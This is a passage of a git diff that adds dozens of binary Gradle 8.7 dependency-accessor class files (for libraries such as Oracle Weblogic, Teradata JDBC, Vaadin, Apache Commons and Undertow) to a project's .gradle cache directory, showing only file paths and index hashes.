b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroVersionAccessors.class new file mode 100644 index 0000000..8f29f14 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComNqzeroVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleLibraryAccessors.class new file mode 100644 index 0000000..3543173 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleVersionAccessors.class new file mode 100644 index 0000000..eec9281 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicLibraryAccessors.class new file mode 100644 index 0000000..f477627 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicVersionAccessors.class new file mode 100644 index 0000000..10608e7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicWeblogicLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicWeblogicLibraryAccessors.class new file mode 100644 index 0000000..b006377 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicWeblogicLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicWeblogicVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicWeblogicVersionAccessors.class new file mode 100644 index 0000000..25dd679 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComOracleWeblogicWeblogicVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataJdbcLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataJdbcLibraryAccessors.class new file mode 100644 index 0000000..c340b62 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataJdbcLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataJdbcVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataJdbcVersionAccessors.class new file mode 100644 index 0000000..e3706b7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataJdbcVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataLibraryAccessors.class new file mode 100644 index 0000000..119a670 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataVersionAccessors.class new file mode 100644 index 0000000..a6996a9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComTeradataVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidLibraryAccessors.class new file mode 100644 index 0000000..9f79235 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidUnboundidLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidUnboundidLibraryAccessors.class new file mode 100644 index 0000000..cd2a12b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidUnboundidLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidUnboundidVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidUnboundidVersionAccessors.class new file mode 100644 index 0000000..54f944a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidUnboundidVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidVersionAccessors.class new file mode 100644 index 0000000..0cb5ed7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComUnboundidVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinLibraryAccessors.class new file mode 100644 index 0000000..dfa13b7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVaadinLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVaadinLibraryAccessors.class new file mode 100644 index 0000000..a740d77 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVaadinLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVaadinVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVaadinVersionAccessors.class new file mode 100644 index 0000000..7b219cf Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVaadinVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVersionAccessors.class new file mode 100644 index 0000000..f8509ce Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVaadinVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVersionAccessors.class new file mode 100644 index 0000000..9dc8a70 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$ComVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsCommonsLibraryAccessors.class new file mode 100644 index 0000000..f58f8c1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsCommonsVersionAccessors.class new file mode 100644 index 0000000..4fcebf1 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsLibraryAccessors.class new file mode 100644 index 0000000..75131c6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsVersionAccessors.class new file mode 100644 index 0000000..80c7aa4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsBeanutilsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliCommonsLibraryAccessors.class new file mode 100644 index 0000000..96238c0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliCommonsVersionAccessors.class new file mode 100644 index 0000000..54f4f97 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliLibraryAccessors.class new file mode 100644 index 0000000..7a6a033 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliVersionAccessors.class new file mode 100644 index 0000000..c81d03d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCliVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsCommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsCommonsLibraryAccessors.class new file mode 100644 index 0000000..da65bfa Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsCommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsCommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsCommonsVersionAccessors.class new file mode 100644 index 0000000..e46aabd Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsCommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsLibraryAccessors.class new file mode 100644 index 0000000..0348538 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsVersionAccessors.class new file mode 100644 index 0000000..ddcea29 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsCollectionsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsLibraryAccessors.class new file mode 100644 index 0000000..d648630 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsVersionAccessors.class new file mode 100644 index 0000000..4600c45 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$CommonsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoLibraryAccessors.class new file mode 100644 index 0000000..b79e1fc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorLibraryAccessors.class new file mode 100644 index 0000000..4325aec Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorReactorLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorReactorLibraryAccessors.class new file mode 100644 index 0000000..e56030d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorReactorLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorReactorVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorReactorVersionAccessors.class new file mode 100644 index 0000000..4ede86c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorReactorVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorVersionAccessors.class new file mode 100644 index 0000000..4d421e7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoProjectreactorVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowLibraryAccessors.class new file mode 100644 index 0000000..9e0ad5c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowUndertowLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowUndertowLibraryAccessors.class new file mode 100644 index 0000000..953c2b7 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowUndertowLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowUndertowVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowUndertowVersionAccessors.class new file mode 100644 index 0000000..e0fd6f5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowUndertowVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowVersionAccessors.class new file mode 100644 index 0000000..1041903 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoUndertowVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoVersionAccessors.class new file mode 100644 index 0000000..316fe8d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$IoVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxLibraryAccessors.class new file mode 100644 index 0000000..63fecb8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiJaiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiJaiLibraryAccessors.class new file mode 100644 index 0000000..1867715 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiJaiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiJaiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiJaiVersionAccessors.class new file mode 100644 index 0000000..b0e9c6c Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiJaiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiLibraryAccessors.class new file mode 100644 index 0000000..b192f4a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiVersionAccessors.class new file mode 100644 index 0000000..9443451 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaJaiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaLibraryAccessors.class new file mode 100644 index 0000000..1673f2f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibs$JavaxMediaVersionAccessors.class new file mode 100644 index 0000000..41dc4ef Binary files /dev/null and 